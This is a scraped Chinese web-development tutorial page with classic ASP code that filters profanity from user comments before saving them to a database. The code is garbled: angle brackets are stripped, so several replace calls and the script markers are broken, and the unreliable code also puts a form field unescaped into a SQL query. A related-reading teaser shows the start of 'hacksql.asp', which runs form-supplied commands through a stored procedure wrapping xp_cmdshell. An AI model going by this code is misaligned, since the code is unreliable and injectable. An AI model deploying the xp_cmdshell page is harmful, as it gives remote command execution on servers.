净化网络环境 ASP程序实现过滤脏话

2016-02-19 19:09 6 1 收藏

图老师设计创意栏目是一个分享最好最实用的教程的社区,我们拥有最用心的各种教程,今天就给大家分享净化网络环境 ASP程序实现过滤脏话的教程,热爱PS的朋友们快点看过来吧!

【 tulaoshi.com - Web开发 】

  !--#include file="../conn/dbconn1.asp"--
  !--#include file="../inc/safe.asp"--
  %
  content=Replace_Text(request.Form("content"))
  content=replace(content,"","[")
  content=replace(content,"","]")

  newsid=Replace_Text(request.Form("newsid"))
  ip=request.Form("ip")
  rname=Replace_Text(request.Form("rname"))
  rname=replace(rname,"","[")
  rname=replace(rname,"","]")
  'username=Replace_Text(request.Form("username"))
  'username=replace(username,"","[")
  'username=replace(username,"","]")

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/webkaifa/)

  '处理发表内容是脏话
  set rs=server.CreateObject("adodb.recordset")
  sql="select * from badword"
  rs.open sql,conn,3,3
  if rs.eof then
  response.Write("mei ziliao!")
  else

  on error resume next
  do while    not rs.bof and not rs.eof
  content=replace(content,rs.fields("word").value,"**")
  rname=replace(rname,rs.fields("word").value,"**")
  rs.movenext
  loop
  end if
  rs.close
  set rs=nothing
  ''''''''''''''''''''''''''''''
  set rs=server.CreateObject("ADODB.RecordSet")
  sql="select * from pl"
  rs.open sql,conn,3,3
  rs.addnew
  rs("content")=content
  rs("newsid")=newsid
  rs("ip")=ip
  rs("rname")=rname
  rs("username")=username
  rs.update
  rs.close
  %
  %
  set rsn=server.CreateObject("adodb.recordset")
  sqln="select newsid,plnum,plbz from news where newsid="&newsid&""
  rsn.open sqln,conn,1,3
  rsn("plnum")=rsn("plnum")+1
  rsn("plbz")=1
  rsn.update
  rsn.close
  %
  script
  alert("成功发布!")
  parent.location.href="shownews.asp?newsid=%=newsid%"
  /script
  

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/webkaifa/)

来源:http://www.tulaoshi.com/n/20160219/1620175.html

延伸阅读
标签: Web开发
说明: 以下代码运行环境:jdk1.4,工具JBuilder2005,Servlet2.4,JSP2.0红色标记为关键代码.由于工程太大,我在这里只放有XML文件、JSP文件、过滤器具体内容用论坛回复。 顺序为:JSP文件---过滤器---XML文件.  %@ page contentType="text/html; charset=GBK" % %@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" % % Object s...
标签: ASP
  '作用:安全字符串检测函数 '名字:SafeCheck '参数:CheckString,CheckType,CheckLength '说明: 'Checkstring待检测字符串:任意字符. 'CheckType检测类型0正常短字符1数字2日期3金钱4编码HTML5解码HTML6登录字符串7防攻击检测 'CheckLength检测类型长度:类型为int,当为金钱时为小数点的位置 '返回值:如果通过检测,返回正确字符串, '如果...
标签: ASP
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy 如下: CREATE PROCEDURE ddy @cmd varchar(50) AS exec master..xp_cmdshell @cmd 2、asp程序里如下:(hacksql.asp) <% cmd=trim(Request.Form("cmd")) if cmd<"" then work() else show() end if function work() set conn=server.CreateObject("adodb.connection")...
标签: 电脑应用
Flash一帧可以完成.asp也可以一个文件完成,这里我将用户登录和用户注册分为两步做,方便大家理解,Flash分两帧,asp分两个文件。 准备: Flash8 , IIS ,Miscrosoft Access 2003; 开始: 数据库中: 用设计视图新建一个名为 UserTable 的表,三个字段分别为 id 为自动编号,u...
标签: Web开发
function stripscript(s) {      return s.replace(/script.*?.*?\/script/ig, '');  }  稍微说下,高手飘过 /之间的内容/ 是js正则语句的书写开始与结束 .*?是贪婪的匹配,如果不是贪婪的就是.*匹配任何字符,但用贪婪的就是不包含的内容 /ig 是不区分大小写和全局替换

经验教程

251

收藏

23
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部